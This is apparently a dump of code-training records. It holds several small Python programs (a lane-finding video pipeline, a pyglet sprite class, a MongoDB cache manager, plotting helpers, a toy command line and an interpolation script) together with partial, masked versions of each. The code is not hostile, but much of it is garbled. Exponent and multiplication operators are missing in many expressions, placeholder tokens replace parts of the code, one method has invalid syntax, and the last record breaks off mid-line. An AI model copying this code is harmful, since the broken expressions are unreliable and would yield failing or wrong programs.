[os.path.join(files_dir, f) for f in filenames]\n\n\ndef process_images(im_filenames, cg, params):\n finder, find_and_draw_lanes = lanefinder.create_objects(cg, params)\n images = (mpimg.imread(fname) for fname in im_filenames)\n return (find_and_draw_lanes(im) for im in images)\n\n\ndef save_images(images, destination_filenames):\n for fname, im in zip(destination_filenames, images):\n mpimg.imsave(fname, im)\n\n\ndef process_and_save_video(video_fname_src, video_fname_dst, cg, params):\n finder, find_and_draw_lanes = lanefinder.create_objects(cg, params)\n video_src = VideoFileClip(video_fname_src)\n video_dst = video_src.fl_image(find_and_draw_lanes)\n video_dst.write_videofile(video_fname_dst, audio=False)\n\n\ndef visualize_pipeline(fname_dst, cg=COMP_GRAPH, params=DEFAULT_PARAMS):\n runner = CompGraphRunner(cg, frozen_tokens=params)\n ag = to_agraph(runner.token_manager.to_networkx())\n ag.layout('dot')\n ag.draw(fname_dst)\n\n\nif __name__ == '__main__':\n \"\"\" INITIALIZATION \"\"\"\n im_dir_src = 'test_images'\n im_dir_dst = 'test_images_output'\n create_dir(im_dir_dst)\n im_files_src = get_full_paths_to_files(im_dir_src, os.listdir(im_dir_src))\n im_files_dst = get_full_paths_to_files(im_dir_dst, os.listdir(im_dir_src))\n video_dir_src = 'test_videos'\n video_dir_dst = 'test_videos_output'\n create_dir(video_dir_dst)\n video_files = 'solidWhiteRight.mp4', 'solidYellowLeft.mp4'\n video_files_src = get_full_paths_to_files(video_dir_src, video_files)\n video_files_dst = get_full_paths_to_files(video_dir_dst, video_files)\n params_1 = DEFAULT_PARAMS.copy()\n params_1['canny_lo'] = 50\n params_1['canny_hi'] = 150\n \"\"\" MEDIA GENERATION \"\"\"\n visualize_pipeline('pipeline.png')\n images_dst = process_images(im_files_src, COMP_GRAPH, DEFAULT_PARAMS)\n save_images(images_dst, im_files_dst)\n process_and_save_video(video_files_src[0], video_files_dst[0],\n COMP_GRAPH, DEFAULT_PARAMS)\n process_and_save_video(video_files_src[1], video_files_dst[1],\n COMP_GRAPH, params_1)\n", "step-5": "'''\nGenerate the output images and videos, including rendering of the pipeline\n'''\n\nimport os\nimport matplotlib.image as mpimg\nimport cv2\nfrom moviepy.editor import VideoFileClip\nfrom networkx.drawing.nx_agraph import to_agraph\n\nimport lanespipeline\nimport lanefinder\nfrom compgraph import CompGraph, CompGraphRunner\n\n\nCOMP_GRAPH = lanespipeline.computational_graph\nDEFAULT_PARAMS = lanespipeline.parameters\n\n\ndef create_dir(directory):\n\n if not os.path.exists(directory):\n os.makedirs(directory)\n\ndef get_full_paths_to_files(files_dir, filenames):\n\n return [os.path.join(files_dir, f) for f in filenames]\n\n\ndef process_images(im_filenames, cg, params):\n\n finder, find_and_draw_lanes = lanefinder.create_objects(cg, params)\n\n images = (mpimg.imread(fname) for fname in im_filenames)\n\n return (find_and_draw_lanes(im) for im in images)\n\n\ndef save_images(images, destination_filenames):\n\n for fname, im in zip(destination_filenames, images):\n mpimg.imsave(fname, im)\n\n\ndef process_and_save_video(video_fname_src, video_fname_dst, cg, params):\n\n finder, find_and_draw_lanes = lanefinder.create_objects(cg, params)\n\n video_src = VideoFileClip(video_fname_src)\n\n video_dst = video_src.fl_image(find_and_draw_lanes)\n video_dst.write_videofile(video_fname_dst, audio=False)\n\n\ndef visualize_pipeline(fname_dst, cg=COMP_GRAPH, params=DEFAULT_PARAMS):\n\n runner = CompGraphRunner(cg, frozen_tokens=params)\n\n ag = to_agraph(runner.token_manager.to_networkx())\n ag.layout('dot')\n ag.draw(fname_dst)\n\n\nif __name__ == '__main__':\n\n ''' INITIALIZATION '''\n\n im_dir_src = 'test_images'\n im_dir_dst = 'test_images_output'\n create_dir(im_dir_dst)\n\n im_files_src = get_full_paths_to_files(im_dir_src, os.listdir(im_dir_src))\n im_files_dst = get_full_paths_to_files(im_dir_dst, os.listdir(im_dir_src))\n\n video_dir_src = 'test_videos'\n video_dir_dst = 'test_videos_output'\n create_dir(video_dir_dst)\n\n video_files = ('solidWhiteRight.mp4', 'solidYellowLeft.mp4')\n video_files_src = get_full_paths_to_files(video_dir_src, video_files)\n video_files_dst = get_full_paths_to_files(video_dir_dst, video_files)\n\n params_1 = DEFAULT_PARAMS.copy()\n params_1['canny_lo'] = 50\n params_1['canny_hi'] = 150\n\n ''' MEDIA GENERATION '''\n\n visualize_pipeline('pipeline.png')\n\n images_dst = process_images(im_files_src, COMP_GRAPH, DEFAULT_PARAMS)\n save_images(images_dst, im_files_dst)\n\n process_and_save_video(video_files_src[0], video_files_dst[0], COMP_GRAPH, DEFAULT_PARAMS)\n process_and_save_video(video_files_src[1], video_files_dst[1], COMP_GRAPH, params_1)\n", "step-ids": [ 5, 6, 7, 8, 10 ] }	[ 5, 6, 7, 8, 10 ]
<\|reserved_special_token_0\|> class Fire(pyglet.sprite.Sprite): <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> def update(self): self.rotation += self.rotate_speed self.x += self.velocity_x self.check_bounds() def remote_update(self, x, rotation): self.rotation = rotation self.x = x self.check_bounds() def distance(self, point_1=(0, 0), point_2=(0, 0)): """Returns the distance between two points""" return math.sqrt((point_1[0] - point_2[0]) 2 + (point_1[1] - point_2[1]) 2) def collides_with(self, other_object): collision_distance = (self.image.width * 0.5 * self.scale + other_object.image.width * 0.5 * other_object.scale) actual_distance = self.distance(self.position, other_object.position) return actual_distance <= collision_distance <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class Fire(pyglet.sprite.Sprite): def __init__(self, args, kwargs): super(Fire, self).__init__(args, img=fireball, kwargs) self.rotation = 45 self.rotate_speed = 5 self.velocity_x = 5 <\|reserved_special_token_0\|> def update(self): self.rotation += self.rotate_speed self.x += self.velocity_x self.check_bounds() def remote_update(self, x, rotation): self.rotation = rotation self.x = x self.check_bounds() def distance(self, point_1=(0, 0), point_2=(0, 0)): """Returns the distance between two points""" return math.sqrt((point_1[0] - point_2[0]) 2 + (point_1[1] - point_2[1]) ** 2) def collides_with(self, other_object): collision_distance = (self.image.width * 0.5 * self.scale + other_object.image.width * 0.5 * other_object.scale) actual_distance = self.distance(self.position, other_object.position) return actual_distance <= collision_distance <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class Fire(pyglet.sprite.Sprite): def __init__(self, args, kwargs): super(Fire, self).__init__(args, img=fireball, kwargs) self.rotation = 45 self.rotate_speed = 5 self.velocity_x = 5 def check_bounds(self): max_x = 1000 + self.image.width / 2 if self.x > max_x: self.x = -self.image.width / 2 def update(self): self.rotation += self.rotate_speed self.x += self.velocity_x self.check_bounds() def remote_update(self, x, rotation): self.rotation = rotation self.x = x self.check_bounds() def distance(self, point_1=(0, 0), point_2=(0, 0)): """Returns the distance between two points""" return math.sqrt((point_1[0] - point_2[0]) 2 + (point_1[1] - point_2[1]) ** 2) def collides_with(self, other_object): collision_distance = (self.image.width * 0.5 * self.scale + other_object.image.width * 0.5 * other_object.scale) actual_distance = self.distance(self.position, other_object.position) return actual_distance <= collision_distance <\|reserved_special_token_1\|> import pyglet import math from lvl1_resources import fireball class Fire(pyglet.sprite.Sprite): def __init__(self, args, kwargs): super(Fire, self).__init__(args, img=fireball, kwargs) self.rotation = 45 self.rotate_speed = 5 self.velocity_x = 5 def check_bounds(self): max_x = 1000 + self.image.width / 2 if self.x > max_x: self.x = -self.image.width / 2 def update(self): self.rotation += self.rotate_speed self.x += self.velocity_x self.check_bounds() def remote_update(self, x, rotation): self.rotation = rotation self.x = x self.check_bounds() def distance(self, point_1=(0, 0), point_2=(0, 0)): """Returns the distance between two points""" return math.sqrt((point_1[0] - point_2[0]) 2 + (point_1[1] - point_2[1]) ** 2) def collides_with(self, other_object): collision_distance = (self.image.width * 0.5 * self.scale + other_object.image.width * 0.5 * other_object.scale) actual_distance = self.distance(self.position, other_object.position) return actual_distance <= collision_distance <\|reserved_special_token_1\|> import pyglet import math from lvl1_resources import fireball class Fire(pyglet.sprite.Sprite): def __init__( self, args, kwargs): super(Fire, self).__init__(img= fireball, args, kwargs) self.rotation= 45 self.rotate_speed= 5 self.velocity_x= 5 def check_bounds(self): max_x= 1000 + self.image.width/2 if self.x > max_x: self.x= -self.image.width/2 def update(self): self.rotation += self.rotate_speed self.x += self.velocity_x self.check_bounds() def remote_update(self, x, rotation): self.rotation= rotation self.x= x self.check_bounds() def distance(self, point_1=(0, 0), point_2=(0, 0)): """Returns the distance between two points""" return math.sqrt((point_1[0]-point_2[0])2+(point_1[1]-point_2[1])*2) def collides_with(self, other_object): collision_distance = self.image.width0.5self.scale \ + other_object.image.width0.5*other_object.scale actual_distance = self.distance(self.position, other_object.position) return (actual_distance <= collision_distance)	flexible	{ "blob_id": "cf2bbe332237bd849df62be099f1719eaf1f2082", "index": 1523, "step-1": "<mask token>\n\n\nclass Fire(pyglet.sprite.Sprite):\n <mask token>\n <mask token>\n\n def update(self):\n self.rotation += self.rotate_speed\n self.x += self.velocity_x\n self.check_bounds()\n\n def remote_update(self, x, rotation):\n self.rotation = rotation\n self.x = x\n self.check_bounds()\n\n def distance(self, point_1=(0, 0), point_2=(0, 0)):\n \"\"\"Returns the distance between two points\"\"\"\n return math.sqrt((point_1[0] - point_2[0]) 2 + (point_1[1] -\n point_2[1]) 2)\n\n def collides_with(self, other_object):\n collision_distance = (self.image.width * 0.5 * self.scale + \n other_object.image.width * 0.5 * other_object.scale)\n actual_distance = self.distance(self.position, other_object.position)\n return actual_distance <= collision_distance\n", "step-2": "<mask token>\n\n\nclass Fire(pyglet.sprite.Sprite):\n\n def __init__(self, args, kwargs):\n super(Fire, self).__init__(args, img=fireball, kwargs)\n self.rotation = 45\n self.rotate_speed = 5\n self.velocity_x = 5\n <mask token>\n\n def update(self):\n self.rotation += self.rotate_speed\n self.x += self.velocity_x\n self.check_bounds()\n\n def remote_update(self, x, rotation):\n self.rotation = rotation\n self.x = x\n self.check_bounds()\n\n def distance(self, point_1=(0, 0), point_2=(0, 0)):\n \"\"\"Returns the distance between two points\"\"\"\n return math.sqrt((point_1[0] - point_2[0]) 2 + (point_1[1] -\n point_2[1]) ** 2)\n\n def collides_with(self, other_object):\n collision_distance = (self.image.width * 0.5 * self.scale + \n other_object.image.width * 0.5 * other_object.scale)\n actual_distance = self.distance(self.position, other_object.position)\n return actual_distance <= collision_distance\n", "step-3": "<mask token>\n\n\nclass Fire(pyglet.sprite.Sprite):\n\n def __init__(self, args, kwargs):\n super(Fire, self).__init__(args, img=fireball, kwargs)\n self.rotation = 45\n self.rotate_speed = 5\n self.velocity_x = 5\n\n def check_bounds(self):\n max_x = 1000 + self.image.width / 2\n if self.x > max_x:\n self.x = -self.image.width / 2\n\n def update(self):\n self.rotation += self.rotate_speed\n self.x += self.velocity_x\n self.check_bounds()\n\n def remote_update(self, x, rotation):\n self.rotation = rotation\n self.x = x\n self.check_bounds()\n\n def distance(self, point_1=(0, 0), point_2=(0, 0)):\n \"\"\"Returns the distance between two points\"\"\"\n return math.sqrt((point_1[0] - point_2[0]) 2 + (point_1[1] -\n point_2[1]) ** 2)\n\n def collides_with(self, other_object):\n collision_distance = (self.image.width * 0.5 * self.scale + \n other_object.image.width * 0.5 * other_object.scale)\n actual_distance = self.distance(self.position, other_object.position)\n return actual_distance <= collision_distance\n", "step-4": "import pyglet\nimport math\nfrom lvl1_resources import fireball\n\n\nclass Fire(pyglet.sprite.Sprite):\n\n def __init__(self, args, kwargs):\n super(Fire, self).__init__(args, img=fireball, kwargs)\n self.rotation = 45\n self.rotate_speed = 5\n self.velocity_x = 5\n\n def check_bounds(self):\n max_x = 1000 + self.image.width / 2\n if self.x > max_x:\n self.x = -self.image.width / 2\n\n def update(self):\n self.rotation += self.rotate_speed\n self.x += self.velocity_x\n self.check_bounds()\n\n def remote_update(self, x, rotation):\n self.rotation = rotation\n self.x = x\n self.check_bounds()\n\n def distance(self, point_1=(0, 0), point_2=(0, 0)):\n \"\"\"Returns the distance between two points\"\"\"\n return math.sqrt((point_1[0] - point_2[0]) 2 + (point_1[1] -\n point_2[1]) ** 2)\n\n def collides_with(self, other_object):\n collision_distance = (self.image.width * 0.5 * self.scale + \n other_object.image.width * 0.5 * other_object.scale)\n actual_distance = self.distance(self.position, other_object.position)\n return actual_distance <= collision_distance\n", "step-5": "import pyglet\nimport math\nfrom lvl1_resources import fireball\n\nclass Fire(pyglet.sprite.Sprite):\n\tdef __init__( self, args, kwargs):\n\t\tsuper(Fire, self).__init__(img= fireball, args, kwargs)\n\t\tself.rotation= 45\n\t\tself.rotate_speed= 5\n\t\tself.velocity_x= 5\n\n\tdef check_bounds(self):\n\t\tmax_x= 1000 + self.image.width/2\n\t\tif self.x > max_x:\n\t\t\tself.x= -self.image.width/2\n\n\tdef update(self):\n\t\tself.rotation += self.rotate_speed\n\t\tself.x += self.velocity_x\n\t\tself.check_bounds()\n\n\tdef remote_update(self, x, rotation):\n\t\tself.rotation= rotation\n\t\tself.x= x\n\t\tself.check_bounds()\n\n\tdef distance(self, point_1=(0, 0), point_2=(0, 0)):\n\t\t\"\"\"Returns the distance between two points\"\"\"\n\t\treturn math.sqrt((point_1[0]-point_2[0])2+(point_1[1]-point_2[1])*2)\n\n\tdef collides_with(self, other_object):\n\n\t\tcollision_distance = self.image.width0.5self.scale \\\n + other_object.image.width0.5*other_object.scale\n \n\t\tactual_distance = self.distance(self.position, other_object.position)\n \n\t\treturn (actual_distance <= collision_distance)\n", "step-ids": [ 5, 6, 7, 8, 9 ] }	[ 5, 6, 7, 8, 9 ]
import mysql.connector import hashlib import time from datetime import datetime from datetime import timedelta from pymongo import MongoClient from pymongo import IndexModel, ASCENDING, DESCENDING class MongoManager: def __init__(self, server_ip='localhost', client=None, expires=timedelta(days=30)): """ client: mongo database client expires: timedelta of amount of time before a cache entry is considered expired """ # if a client object is not passed # then try connecting to mongodb at the default localhost port self.client = MongoClient(server_ip, 27017) if client is None else client #create collection to store cached webpages, # which is the equivalent of a table in a relational database self.db = self.client.spider # create index if db is empty if self.db.locations.count() is 0: self.db.mfw.create_index([("url", ASCENDING)]) def query_by_url(self, url): records = self.db.mfw.find({'url':url}) if records: return records else: return None def insert_page(self, url, html): self.db.mfw.insert( 'url': url, 'html':html ) def clear(self): self.db.mfw.drop() if __name__ == '__main__': mongo_mgr = MongoManager()	normal	{ "blob_id": "4cb5dcf0d943ef15421bb6bced65804533d232e3", "index": 4950, "step-1": "import mysql.connector\nimport hashlib\nimport time \nfrom datetime import datetime\nfrom datetime import timedelta\n\nfrom pymongo import MongoClient\nfrom pymongo import IndexModel, ASCENDING, DESCENDING\n\n\nclass MongoManager:\n\n def __init__(self, server_ip='localhost', client=None, expires=timedelta(days=30)):\n \"\"\"\n client: mongo database client\n expires: timedelta of amount of time before a cache entry is considered expired\n \"\"\"\n # if a client object is not passed \n # then try connecting to mongodb at the default localhost port \n self.client = MongoClient(server_ip, 27017) if client is None else client\n #create collection to store cached webpages,\n # which is the equivalent of a table in a relational database\n self.db = self.client.spider\n\n # create index if db is empty\n if self.db.locations.count() is 0:\n self.db.mfw.create_index([(\"url\", ASCENDING)])\n\n def query_by_url(self, url):\n records = self.db.mfw.find({'url':url})\n\n if records:\n return records\n else:\n return None\n\n def insert_page(self, url, html):\n self.db.mfw.insert(\n 'url': url,\n 'html':html\n )\n\n def clear(self):\n self.db.mfw.drop()\n\nif __name__ == '__main__':\n mongo_mgr = MongoManager()", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }	[ 0 ]
<\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> def xyplot(xdata, ydata, title): fname = '/Users/nalmog/Desktop/swa_equipped_cumulative_' + title + '.png' plt.plot(xdata, ydata) plt.ylabel('some numbers') plt.title(title) plt.xlabel('Percent of Fleet') plt.ylabel('Number of Passes') plt.savefig(fname) plt.clf() <\|reserved_special_token_1\|> import matplotlib.pyplot as plt def xyplot(xdata, ydata, title): fname = '/Users/nalmog/Desktop/swa_equipped_cumulative_' + title + '.png' plt.plot(xdata, ydata) plt.ylabel('some numbers') plt.title(title) plt.xlabel('Percent of Fleet') plt.ylabel('Number of Passes') plt.savefig(fname) plt.clf() <\|reserved_special_token_1\|> import matplotlib.pyplot as plt def xyplot(xdata,ydata,title): fname = "/Users/nalmog/Desktop/swa_equipped_cumulative_"+title+".png" #plt.figure(figsize=(500,500)) plt.plot(xdata, ydata) plt.ylabel('some numbers') # plt.savefig("/Users/nalmog/Desktop/swa_equipped_cumulative_"+title+".png", format='png') #plt.show() #plt.savefig("/Users/nalmog/Desktop/swa_equipped_cumulative_"+title+".png", format='png') plt.title(title) plt.xlabel("Percent of Fleet") plt.ylabel("Number of Passes") plt.savefig(fname) plt.clf(); #plt.	flexible	{ "blob_id": "10a7c1827abb8a87f5965453aa2d8f5e8b4914e5", "index": 6563, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef xyplot(xdata, ydata, title):\n fname = '/Users/nalmog/Desktop/swa_equipped_cumulative_' + title + '.png'\n plt.plot(xdata, ydata)\n plt.ylabel('some numbers')\n plt.title(title)\n plt.xlabel('Percent of Fleet')\n plt.ylabel('Number of Passes')\n plt.savefig(fname)\n plt.clf()\n", "step-3": "import matplotlib.pyplot as plt\n\n\ndef xyplot(xdata, ydata, title):\n fname = '/Users/nalmog/Desktop/swa_equipped_cumulative_' + title + '.png'\n plt.plot(xdata, ydata)\n plt.ylabel('some numbers')\n plt.title(title)\n plt.xlabel('Percent of Fleet')\n plt.ylabel('Number of Passes')\n plt.savefig(fname)\n plt.clf()\n", "step-4": "import matplotlib.pyplot as plt\n\ndef xyplot(xdata,ydata,title):\n fname = \"/Users/nalmog/Desktop/swa_equipped_cumulative_\"+title+\".png\"\n #plt.figure(figsize=(500,500))\n plt.plot(xdata, ydata)\n plt.ylabel('some numbers') \n# plt.savefig(\"/Users/nalmog/Desktop/swa_equipped_cumulative_\"+title+\".png\", format='png')\n #plt.show()\n #plt.savefig(\"/Users/nalmog/Desktop/swa_equipped_cumulative_\"+title+\".png\", format='png')\n plt.title(title) \n plt.xlabel(\"Percent of Fleet\")\n plt.ylabel(\"Number of Passes\")\n plt.savefig(fname)\n plt.clf();\n #plt.\n\n\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }	[ 0, 1, 2, 3 ]
<\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> def cmdline(): available_commands = ['help', 'quit', 'echo', 'pbar', 'joke'] keepgoing = True while keepgoing: typed = input("Type something. (Type 'help' for options)") words = [w for w in typed.split(' ')] command = words[0].lower() arguments = words[1:] if command == '': continue if command not in available_commands: print(f'-> {command} is an invalid command. Available commands:', available_commands) continue if command == 'help': print('-> Try out the following commands', available_commands) if command == 'echo': print(f"-> {' '.join(arguments)}") if command == 'pbar': for i in range(21): sys.stdout.write('\r') sys.stdout.write('[%-20s] %d%%' % ('=' * i, 5 * i)) sys.stdout.flush() sleep(0.25) print(' done!') if command == 'joke': import requests joke = requests.get( 'https://official-joke-api.appspot.com/random_joke').json() print(f"-> {joke['setup']}") input('-> (press enter)') print(f"-> {joke['punchline']}") if command == 'quit': keepgoing = False else: print('exiting..') <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> def cmdline(): available_commands = ['help', 'quit', 'echo', 'pbar', 'joke'] keepgoing = True while keepgoing: typed = input("Type something. (Type 'help' for options)") words = [w for w in typed.split(' ')] command = words[0].lower() arguments = words[1:] if command == '': continue if command not in available_commands: print(f'-> {command} is an invalid command. Available commands:', available_commands) continue if command == 'help': print('-> Try out the following commands', available_commands) if command == 'echo': print(f"-> {' '.join(arguments)}") if command == 'pbar': for i in range(21): sys.stdout.write('\r') sys.stdout.write('[%-20s] %d%%' % ('=' * i, 5 * i)) sys.stdout.flush() sleep(0.25) print(' done!') if command == 'joke': import requests joke = requests.get( 'https://official-joke-api.appspot.com/random_joke').json() print(f"-> {joke['setup']}") input('-> (press enter)') print(f"-> {joke['punchline']}") if command == 'quit': keepgoing = False else: print('exiting..') if __name__ == '__main__': cmdline() <\|reserved_special_token_1\|> from time import sleep import sys def cmdline(): available_commands = ['help', 'quit', 'echo', 'pbar', 'joke'] keepgoing = True while keepgoing: typed = input("Type something. (Type 'help' for options)") words = [w for w in typed.split(' ')] command = words[0].lower() arguments = words[1:] if command == '': continue if command not in available_commands: print(f'-> {command} is an invalid command. Available commands:', available_commands) continue if command == 'help': print('-> Try out the following commands', available_commands) if command == 'echo': print(f"-> {' '.join(arguments)}") if command == 'pbar': for i in range(21): sys.stdout.write('\r') sys.stdout.write('[%-20s] %d%%' % ('=' * i, 5 * i)) sys.stdout.flush() sleep(0.25) print(' done!') if command == 'joke': import requests joke = requests.get( 'https://official-joke-api.appspot.com/random_joke').json() print(f"-> {joke['setup']}") input('-> (press enter)') print(f"-> {joke['punchline']}") if command == 'quit': keepgoing = False else: print('exiting..') if __name__ == '__main__': cmdline() <\|reserved_special_token_1\|> from time import sleep import sys def cmdline(): available_commands = ['help', 'quit', 'echo', 'pbar', 'joke'] keepgoing = True while (keepgoing): typed = input("Type something. (Type 'help' for options)") words = [w for w in typed.split(" ")] command = words[0].lower() arguments = words[1:] if (command == ''): continue if (command not in available_commands): print(f"-> {command} is an invalid command. Available commands:", available_commands) continue if (command == 'help'): print('-> Try out the following commands', available_commands) if (command == 'echo'): print(f'-> {" ".join(arguments)}') if (command == 'pbar'): for i in range(21): sys.stdout.write('\r') # the exact output you're looking for: sys.stdout.write("[%-20s] %d%%" % ('=' * i, 5 * i)) sys.stdout.flush() sleep(0.25) print(' done!') if (command == 'joke'): import requests joke = requests.get("https://official-joke-api.appspot.com/random_joke").json() print(f"-> {joke['setup']}") input("-> (press enter)") print(f"-> {joke['punchline']}") if (command == 'quit'): keepgoing = False else: print("exiting..") if __name__ == "__main__": cmdline()	flexible	{ "blob_id": "a028661f9bcaa6dfe5389cb57f31b07d7e981487", "index": 9890, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef cmdline():\n available_commands = ['help', 'quit', 'echo', 'pbar', 'joke']\n keepgoing = True\n while keepgoing:\n typed = input(\"Type something. (Type 'help' for options)\")\n words = [w for w in typed.split(' ')]\n command = words[0].lower()\n arguments = words[1:]\n if command == '':\n continue\n if command not in available_commands:\n print(f'-> {command} is an invalid command. Available commands:',\n available_commands)\n continue\n if command == 'help':\n print('-> Try out the following commands', available_commands)\n if command == 'echo':\n print(f\"-> {' '.join(arguments)}\")\n if command == 'pbar':\n for i in range(21):\n sys.stdout.write('\\r')\n sys.stdout.write('[%-20s] %d%%' % ('=' * i, 5 * i))\n sys.stdout.flush()\n sleep(0.25)\n print(' done!')\n if command == 'joke':\n import requests\n joke = requests.get(\n 'https://official-joke-api.appspot.com/random_joke').json()\n print(f\"-> {joke['setup']}\")\n input('-> (press enter)')\n print(f\"-> {joke['punchline']}\")\n if command == 'quit':\n keepgoing = False\n else:\n print('exiting..')\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef cmdline():\n available_commands = ['help', 'quit', 'echo', 'pbar', 'joke']\n keepgoing = True\n while keepgoing:\n typed = input(\"Type something. (Type 'help' for options)\")\n words = [w for w in typed.split(' ')]\n command = words[0].lower()\n arguments = words[1:]\n if command == '':\n continue\n if command not in available_commands:\n print(f'-> {command} is an invalid command. Available commands:',\n available_commands)\n continue\n if command == 'help':\n print('-> Try out the following commands', available_commands)\n if command == 'echo':\n print(f\"-> {' '.join(arguments)}\")\n if command == 'pbar':\n for i in range(21):\n sys.stdout.write('\\r')\n sys.stdout.write('[%-20s] %d%%' % ('=' * i, 5 * i))\n sys.stdout.flush()\n sleep(0.25)\n print(' done!')\n if command == 'joke':\n import requests\n joke = requests.get(\n 'https://official-joke-api.appspot.com/random_joke').json()\n print(f\"-> {joke['setup']}\")\n input('-> (press enter)')\n print(f\"-> {joke['punchline']}\")\n if command == 'quit':\n keepgoing = False\n else:\n print('exiting..')\n\n\nif __name__ == '__main__':\n cmdline()\n", "step-4": "from time import sleep\nimport sys\n\n\ndef cmdline():\n available_commands = ['help', 'quit', 'echo', 'pbar', 'joke']\n keepgoing = True\n while keepgoing:\n typed = input(\"Type something. (Type 'help' for options)\")\n words = [w for w in typed.split(' ')]\n command = words[0].lower()\n arguments = words[1:]\n if command == '':\n continue\n if command not in available_commands:\n print(f'-> {command} is an invalid command. Available commands:',\n available_commands)\n continue\n if command == 'help':\n print('-> Try out the following commands', available_commands)\n if command == 'echo':\n print(f\"-> {' '.join(arguments)}\")\n if command == 'pbar':\n for i in range(21):\n sys.stdout.write('\\r')\n sys.stdout.write('[%-20s] %d%%' % ('=' * i, 5 * i))\n sys.stdout.flush()\n sleep(0.25)\n print(' done!')\n if command == 'joke':\n import requests\n joke = requests.get(\n 'https://official-joke-api.appspot.com/random_joke').json()\n print(f\"-> {joke['setup']}\")\n input('-> (press enter)')\n print(f\"-> {joke['punchline']}\")\n if command == 'quit':\n keepgoing = False\n else:\n print('exiting..')\n\n\nif __name__ == '__main__':\n cmdline()\n", "step-5": "from time import sleep\nimport sys\n\ndef cmdline():\n available_commands = ['help', 'quit', 'echo', 'pbar', 'joke']\n keepgoing = True\n while (keepgoing):\n typed = input(\"Type something. (Type 'help' for options)\")\n words = [w for w in typed.split(\" \")]\n command = words[0].lower()\n arguments = words[1:]\n\n if (command == ''):\n continue\n if (command not in available_commands):\n print(f\"-> {command} is an invalid command. Available commands:\", available_commands)\n continue\n\n if (command == 'help'):\n print('-> Try out the following commands', available_commands)\n if (command == 'echo'):\n print(f'-> {\" \".join(arguments)}')\n if (command == 'pbar'):\n for i in range(21):\n sys.stdout.write('\\r')\n # the exact output you're looking for:\n sys.stdout.write(\"[%-20s] %d%%\" % ('=' * i, 5 * i))\n sys.stdout.flush()\n sleep(0.25)\n print(' done!')\n\n if (command == 'joke'):\n import requests\n joke = requests.get(\"https://official-joke-api.appspot.com/random_joke\").json()\n print(f\"-> {joke['setup']}\")\n input(\"-> (press enter)\")\n print(f\"-> {joke['punchline']}\")\n\n if (command == 'quit'):\n keepgoing = False\n\n\n else:\n print(\"exiting..\")\n\n\nif __name__ == \"__main__\":\n cmdline()\n", "step-ids": [ 0, 1, 2, 3, 4 ] }	[ 0, 1, 2, 3, 4 ]
# encoding=UTF-8 # This file serves the project in production # See http://wsgi.readthedocs.org/en/latest/ from __future__ import unicode_literals from moya.wsgi import Application application = Application( "./", ["local.ini", "production.ini"], server="main", logging="prodlogging.ini" )	normal	{ "blob_id": "cb0be932813a144cfb51b3aa2f6e0792e49c4945", "index": 3021, "step-1": "<mask token>\n", "step-2": "<mask token>\napplication = Application('./', ['local.ini', 'production.ini'], server=\n 'main', logging='prodlogging.ini')\n", "step-3": "from __future__ import unicode_literals\nfrom moya.wsgi import Application\napplication = Application('./', ['local.ini', 'production.ini'], server=\n 'main', logging='prodlogging.ini')\n", "step-4": "# encoding=UTF-8\n\n# This file serves the project in production\n# See http://wsgi.readthedocs.org/en/latest/\n\nfrom __future__ import unicode_literals\nfrom moya.wsgi import Application\n\napplication = Application(\n \"./\", [\"local.ini\", \"production.ini\"], server=\"main\", logging=\"prodlogging.ini\"\n)\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }	[ 0, 1, 2, 3 ]
import numpy as np from scipy.linalg import solve from matplotlib import pylab as plt def f(x): return (np.sin(x / 5) * np.exp(x / 10) + 5 * np.exp(-x / 2)) xx = np.arange(1, 15, 0.1) yy = f(xx) # 1 степень x = np.array([1,15]) y = f(x) A = np.array([[1,1], [1,15]]) w = solve(A, y) y1 = w[0] + w[1]xx plt.plot(xx, y1, '-', xx, yy, '-') plt.show() # 2 степень x = np.array([1, 8, 15]) y = f(x) A = np.array([[1,1,1], [1,8,64], [1,15,225]]) w = solve(A, y) y2 = w[0] + w[1]xx + w[2](xx2) plt.plot(xx, y2, '-', xx, yy, '-') plt.show() # 3 степень x = np.array([1, 4, 10, 15]) y = f(x) A = np.array([[1,1,1,1], [1,4,16,64], [1,10,100,1000], [1,15,225,22515]]) w = solve(A, y) y3 = w[0] + w[1]xx + w[2](xx*2) + w[3](xx**3) plt.plot(xx, y3, '-', xx, yy, '-') plt.show() print("w 0:4 : ", " ".join(map(str, np.round(w, 2))))	normal	{ "blob_id": "a610ccf4fe154ee12de9212a10958fda2000b425", "index": 7122, "step-1": "<mask token>\n\n\ndef f(x):\n return np.sin(x / 5) * np.exp(x / 10) + 5 * np.exp(-x / 2)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef f(x):\n return np.sin(x / 5) * np.exp(x / 10) + 5 * np.exp(-x / 2)\n\n\n<mask token>\nplt.plot(xx, y1, '-', xx, yy, '-')\nplt.show()\n<mask token>\nplt.plot(xx, y2, '-', xx, yy, '-')\nplt.show()\n<mask token>\nplt.plot(xx, y3, '-', xx, yy, '-')\nplt.show()\nprint('w 0:4 : ', ' '.join(map(str, np.round(w, 2))))\n", "step-3": "<mask token>\n\n\ndef f(x):\n return np.sin(x / 5) * np.exp(x / 10) + 5 * np.exp(-x / 2)\n\n\nxx = np.arange(1, 15, 0.1)\nyy = f(xx)\nx = np.array([1, 15])\ny = f(x)\nA = np.array([[1, 1], [1, 15]])\nw = solve(A, y)\ny1 = w[0] + w[1] * xx\nplt.plot(xx, y1, '-', xx, yy, '-')\nplt.show()\nx = np.array([1, 8, 15])\ny = f(x)\nA = np.array([[1, 1, 1], [1, 8, 64], [1, 15, 225]])\nw = solve(A, y)\ny2 = w[0] + w[1] * xx + w[2] * xx ** 2\nplt.plot(xx, y2, '-', xx, yy, '-')\nplt.show()\nx = np.array([1, 4, 10, 15])\ny = f(x)\nA = np.array([[1, 1, 1, 1], [1, 4, 16, 64], [1, 10, 100, 1000], [1, 15, 225,\n 225 * 